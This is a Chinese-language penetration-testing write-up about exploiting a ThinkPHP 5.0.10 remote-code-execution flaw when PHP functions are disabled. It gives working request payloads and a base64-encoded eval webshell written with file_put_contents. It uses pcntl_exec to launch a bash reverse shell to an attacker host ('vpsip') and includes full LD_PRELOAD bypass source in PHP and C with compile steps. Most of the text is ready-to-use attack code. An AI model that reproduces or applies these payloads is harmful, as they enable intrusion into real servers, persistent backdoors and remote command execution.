一次項目中Thinkphp繞過禁用函數記錄
在一次滲透測試中,手工找了許久沒發現什么東西,抱著嘗試的心情打開了xray
果然xray還是挺給力的,一打開網頁的時候xray直接就掃描出了thinkphp 5.0.10 rce漏洞
直接使用命令執行payload,結果報出system函數被禁用
s=whoami&_method=__construct&method=&filter[]=system

嘗試應用其他函數進行利用,經過測試發現call_user_func函數沒有被禁用
Payload
s=phpinfo&_method=__construct&method=get&filter[]=call_user_func
可以看到哪些函數被禁用了

看到assert和include沒有被禁用,一開始想寫shell進日志然后去利用文件包含,發現并沒有任何反應,也不報錯。
file_put_contents
又回去看被禁用的函數,發現文件函數沒被禁用,可以用file_put_contents函數去寫文件
測試寫入phpinfo文件
s=file_put_contents('/www/wwwroot/public/phpinfo.php',base64_decode('PD9waHAgJHBhc3M9JF9QT1NUWydhYWFhJ107ZXZhbCgkcGFzcyk7Pz4'))&_method=__construct&filter=assert

寫入成功

寫入冰蝎馬可以進行文件管理了

雖然可以進行文件操作了,但還是沒法執行命令

pcntl_exec
想到了比較容易被忽略的命令執行函數pcntl_exec,發現pcntl_exec函數沒有被禁用,該函數可以指定一個程序來執行指定文件
先寫一個exe.php文件,在文件中指定pcntl_exec的參數(執行運行程序,運行指定文件)
<?php
switch (pcntl_fork()) {
case 0:
pcntl_exec('/bin/bash', ['/www/wwwroot/public/exec.sh']);
exit(0);
default:
break;
}
?>
exec.sh文件寫入反彈命令
bash -i >& /dev/tcp/vpsip/7777 0>&1
瀏覽器訪問exe.php成功反彈shell

LD_PRELOAD 劫持
這次滲透是結束了,這里嘗試了另外一種繞過方法,如果遇到pcntl_exec函數也被禁用的情況,可以利用環境變量 LD_PRELOAD 劫持系統函數,讓外部程序加載惡意 *.so,達到執行系統命令的效果。詳細的原理介紹就不贅述了,可以參考這個大哥的文章
https://www.meetsec.cn/index.php/archives/44/
這種方法主要是需要上傳一個.php和一個由.c程序編譯得到共享對象.so文件到服務器
bypass_disablefunc.php
<?php
echo "<p> <b>example</b>: http://site.com/bypass_disablefunc.php?cmd=pwd&outpath=/tmp/xx&sopath=/var/www/bypass_disablefunc_x64.so </p>";
$cmd = $_GET["cmd"];
$out_path = $_GET["outpath"];
$evil_cmdline = $cmd . " > " . $out_path . " 2>&1";
echo "<p> <b>cmdline</b>: " . $evil_cmdline . "</p>";
putenv("EVIL_CMDLINE=" . $evil_cmdline);
$so_path = $_GET["sopath"];
putenv("LD_PRELOAD=" . $so_path);
mail("", "", "", "");
echo "<p> <b>output</b>: <br />" . nl2br(file_get_contents($out_path)) . "</p>";
unlink($out_path);
?>
bypass_disablefunc.php提供了三個參數:
- cmd 參數,待執行的系統命令(如
whoami)。 - outpath 參數,保存命令執行輸出結果的文件路徑(如
/www/wwwroot/public),便于在頁面上顯示,另外關于該參數,你應注意 web 是否有讀寫權限、web 是否可跨目錄訪問、文件將被覆蓋和刪除等幾點。 - sopath 參數,指定劫持系統函數的共享對象的絕對路徑(如
/www/wwwroot/bypass_disablefunc_x64.so),另外關于該參數,你應注意 web 是否可跨目錄訪問到它,最好也傳到web根目錄下。
bypass_disablefunc.c
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
extern char** environ;
__attribute__ ((__constructor__)) void preload (void)
{
// get command line options and arg
const char* cmdline = getenv("EVIL_CMDLINE");
// unset environment variable LD_PRELOAD.
// unsetenv("LD_PRELOAD") no effect on some
// distribution (e.g., centos), I need crafty trick.
int i;
for (i = 0; environ[i]; ++i) {
if (strstr(environ[i], "LD_PRELOAD")) {
environ[i][0] = '\0';
}
}
// executive command
system(cmdline);
}
這里需要用命令gcc -shared -fPIC bypass_disablefunc.c -o bypass_disablefunc_x64.so將 bypass_disablefunc.c編譯為共享對象 bypass_disablefunc_x64.so
要根據目標架構編譯成不同版本,在 x64 的環境中編譯,若不帶編譯選項則默認為 x64,若要編譯成 x86 架構需要加上 -m32 選項。
可以在github上找到上述需要的文件
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD
這里利用之前的文件管理冰蝎shell將php和so文件上傳到服務器web目錄
在瀏覽器訪問bypass_disablefunc.php傳入參數
http://www.xxx.com/bypass_disablefunc.php?cmd=ls&outpath=/www/wwwroot%20/public/1.txt&sopath=/www/wwwroot/public/bypass_disablefunc_x64.so
成功執行命令
